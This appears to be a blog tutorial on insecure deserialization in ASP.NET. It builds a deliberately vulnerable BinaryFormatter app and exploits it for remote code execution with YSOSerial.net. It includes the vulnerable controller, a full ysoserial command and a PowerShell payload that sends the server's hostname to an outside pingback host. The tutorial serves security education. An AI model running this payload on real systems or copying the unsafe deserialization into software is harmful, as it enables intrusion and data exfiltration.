Insecure Deserialization using BinaryFormatter; resulting in RCE


Understanding Serialization & Deserialization

Simply put, Serialization is a process of converting a complex object into a much flatter format (ex: JSON or XML) with which the data can be stored or transmitted as a sequential stream of bytes and Deserialization is the reverse process of reading the sequential stream of bytes and forming the original object structure. Most programming languages offer native support and also the ability to customize the process of serialization and deserialization.

Insecure Deserialization occurs when user controlled data is deserialized by the application, this potentially enables the adversary to tamper the serialized objects by adding harmful code into the application which manipulates the deserialization process and ultimately causing Denial of Service(DOS) or Authz Bypass or Information Disclosure or RCE (Remote Code Execution) .


Below is a simple example of Serialization and Deserialization using BinaryFormatter

For this example I have a simple ASP.NET MVC Web Application which takes a user input and serializes using the BinaryFormatter

HomeController.cs
public class HomeController : Controller
    {
        public ActionResult Index()
        {
            return View();
        }

        public ActionResult GenerateCode(string text)
        {
            try
            {
                using (var stream = new MemoryStream())
                {
                    var formatter = new BinaryFormatter();
                    formatter.Serialize(stream, text);
                    ViewBag.base64code = Convert.ToBase64String(stream.ToArray());
                }
            }
            catch (Exception ex)
            {
                throw;
            }

            return View("Index");
        }

        public ActionResult DegenerateCode(string code)
        {
            try
            {
                using (var stream = new MemoryStream(Convert.FromBase64String(code)))
                {
                    var formatter = new BinaryFormatter();
                    ViewBag.text = (string)formatter.Deserialize(stream);
                }
            }
            catch (Exception ex)
            {

                throw;
            }
            return View("Index");
        }

Index.cshtml
@{
    ViewBag.Title = "Home Page";
}

<main>
    <div class="row">
        <h2>Enter the text to generate code</h2>
        @using (Html.BeginForm("GenerateCode", "Home", FormMethod.Post))
        {
            @Html.TextBox("text");
            <input type="submit" name="SubmitButton" value="Encode" />
        }

        @if (ViewBag.base64code != null)
        {
            <p>@ViewBag.base64code</p>
        }
    </div>
    <br />
    <br />
    <br />
    <br />
    <div class="row">
        <h2>Enter the text to degenerate code</h2>
        @using (Html.BeginForm("DegenerateCode", "Home", FormMethod.Post))
        {
            @Html.TextBox("code");
            <input type="submit" name="SubmitButton" value="Decode" />
        }

        @if (ViewBag.text != null)
        {
            <p>@ViewBag.text</p>
        }
    </div>
</main>
Running the application

Now that there’s a sample app which is performing a deserialization operation using BinaryFormatter which involves a user controlled input, let’s now see how can this be exploited

RCE using YSOSerial.net

YSOSerial.net is a collection of Deserialization payload generators for a variety of .NET formatters, these utilities help in exploiting unsafe deserialization objects in .net using property-oriented “Gadget Chains”

I strictly advice to clone this code into a Virtual machine and build the executable there as running YSOSerial.exe will trigger Windows Defender.


Once the YSOSerial.exe is built, we can generate the necessary payload needed for executing remote commands. For this blog post I will execute a POST call to an Azure function via PowerShell which works like a pingback and collects the hostname of the server running the Web App.


The below is the Azure function which is set for a HttpTrigger, this function prints out data received in the requestbody.

using System.Net;
using Microsoft.AspNetCore.Mvc;
using Microsoft.Extensions.Primitives;
using Newtonsoft.Json;

public static async Task<IActionResult> Run(HttpRequest req, ILogger log)
{
    log.LogInformation("C# HTTP trigger function processed a request.");
    string requestBody = await new StreamReader(req.Body).ReadToEndAsync();

    log.LogInformation("Recevied data :" + requestBody);

    string responseMessage = "This HTTP triggered function executed successfully. Below is the complete request body \n" + $"{requestBody}.";

            return new OkObjectResult(responseMessage);
}

Generating payload

The below is the powershell script which will perform a POST call using the Invoke-WebRequest command and pass the hostname as the parameter in the request body

"powershell.exe $p=@{name=hostname};Invoke-WebRequest -Uri https://yourpingback.azurewebsites.net/api/fun -Method POST -Body $p -UseBasicParsing"

Using the above powershell script we generate the payload using YSOSerial.exe, for this example I’m using DataSet GadgetChain; “-t” option would help test the payload. The default output format would be raw, you can specify various formats using -o (–help would provide the entire list of options)

ysoserial.exe -f BinaryFormatter -g DataSet -c "powershell.exe $p=@{name=hostname};Invoke-WebRequest -Uri https://yourpingback.azurewebsites.net/api/fun -Method POST -Body $p -UseBasicParsing" -t

Running the above command would generate the deserialization payload as below

Running the above payload in our app where deserialization is happening as belows

Though the application might run into exception while deserialization, the maliciously crafted payload will manipulate the deserialization process and executes the powershell command through the gadget chain.

The below is the file system log for the Azure function which got trigged and also received the hostname in the requestbody.